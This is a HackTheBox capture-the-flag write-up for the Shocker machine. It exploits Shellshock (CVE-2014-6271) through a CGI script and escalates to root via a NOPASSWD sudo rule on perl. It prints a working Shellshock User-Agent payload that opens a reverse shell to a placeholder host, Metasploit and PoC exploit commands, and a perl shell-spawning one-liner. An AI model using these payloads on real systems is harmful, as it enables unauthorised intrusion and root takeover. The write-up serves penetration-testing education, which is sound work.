Shocker - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐⭐⭐
• CTF-like: ⭐⭐☆☆☆

Summary

Shocker is an Easy-difficulty Linux machine that demonstrates the critical severity of the Shellshock vulnerability, which affected millions of public-facing servers worldwide. Through careful enumeration, the /cgi-bin/user.sh script is discovered and exploited using the Apache mod_cgi Bash environment variable injection attack. Following initial foothold, privilege escalation is trivially achieved through a misconfigured NOPASSWD sudo rule allowing arbitrary Perl execution.

TL;DR: Enumerate → Discover /cgi-bin/user.sh → Shellshock exploit → User shell → sudo /usr/bin/perl NOPASSWD → Root shell

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.10.56

Results:

80/tcp   open  http    Apache httpd 2.4.18
2222/tcp open  ssh     OpenSSH 7.2p2

The scan reveals Apache HTTP server on port 80 and OpenSSH running on the non-standard port 2222. SSH does not become relevant during exploitation.

Service Enumeration

Apache HTTP (Port 80)

Using directory fuzzing with Dirbuster (lowercase medium wordlist), initial enumeration reveals standard web directories with minimal content. Given the machine’s name “Shocker,” focus shifts to the /cgi-bin/ directory, a common vector for CGI-based exploits.

Fuzzing the /cgi-bin/ directory with multiple extensions (cgi, sh, pl, py):

# Dirbuster scan results
/cgi-bin/user.sh (found)

The discovery of user.sh in the CGI directory is a critical indicator, given the machine’s theme around Shellshock exploits.

Vulnerability Assessment

Initial Foothold

Exploitation Path: Shellshock (CVE-2014-6271)

The Shellshock vulnerability allows remote code execution through HTTP headers when a CGI script is processed by Bash. The vulnerability stems from the ability to inject arbitrary code into Bash environment variables.

Option 1: Metasploit Module

# Launch msfconsole
msfconsole

# Use the Apache mod_cgi Bash exploit
use exploit/multi/http/apache_mod_cgi_bash_env_exec

# Set required options
set RHOST 10.10.10.56
set TARGETURI /cgi-bin/user.sh

# Execute
exploit

This returns an immediate shell with user-level permissions.

Option 2: Manual Exploitation (Python PoC)

# Download and execute the Shellshock PoC from Exploit-DB
# PoC: https://exploit-db.com/exploits/34890

./shellshock.py payload=reverse rhost=10.10.10.56 lhost=<YOUR_IP> lport=<YOUR_PORT> pages=/cgi-bin/user.sh

The Python script crafts malicious HTTP requests with Shellshock payloads in the User-Agent header:

# Conceptual payload structure
User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1

Flag Retrieval

# Once shell access is obtained
cat /home/shelly/user.txt

User Flag: <redacted>

Privilege Escalation

NOPASSWD Sudo Exploitation

After obtaining user shell access, enumerate sudo permissions:

sudo -l

Output:

User shelly may run the following commands on Shocker:
    (ALL) NOPASSWD: /usr/bin/perl

The configuration allows execution of /usr/bin/perl without requiring a password. Perl can spawn arbitrary shell commands, enabling immediate privilege escalation.

Root Shell Acquisition

# Execute Perl with shell spawning capability
sudo /usr/bin/perl -e 'exec "/bin/sh"'

# Verify root access
id
# uid=0(root) gid=0(root) groups=0(root)

Root Flag Retrieval

cat /root/root.txt

Root Flag: <redacted>

Attack Chain Summary

Reconnaissance (Port Scan)
    ↓
Service Enumeration (Apache on 80)
    ↓
Directory Fuzzing (/cgi-bin/)
    ↓
Discover /cgi-bin/user.sh
    ↓
Shellshock Exploit (CVE-2014-6271)
    ↓
User Shell (shelly)
    ↓
Enumerate Sudo Permissions
    ↓
NOPASSWD /usr/bin/perl
    ↓
Privilege Escalation via Perl
    ↓
Root Shell → Root Flag

Tools Used

Key Learnings

Techniques Practiced

• CGI-bin directory enumeration and exploitation
• Shellshock (Bash environment variable injection) exploitation methodology
• Crafting and interpreting malicious HTTP headers for code injection
• Sudo configuration mismanagement identification
• Perl one-liners for shell spawning and command execution
• Privilege escalation via overpermissive NOPASSWD entries

Lessons Learned

1. Shellshock’s Real-World Impact: CVE-2014-6271 affected millions of servers globally. Understanding its mechanics is essential for both penetration testing and defense.

2. CGI Directory Targeting: /cgi-bin/ directories remain critical reconnaissance targets when present, as they execute server-side scripts directly.

3. Sudo Misconfiguration Risk: NOPASSWD entries should never include powerful interpreters (Perl, Python, Ruby) without strict command allowlisting.

4. Enumeration Consistency: The machine name (“Shocker”) was a direct hint. In real assessments, vulnerability names often reflect exploit themes.

5. Multiple Exploitation Paths: Both automated (Metasploit) and manual (Python PoC) exploitation methods yield identical results; choosing depends on operational security requirements.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>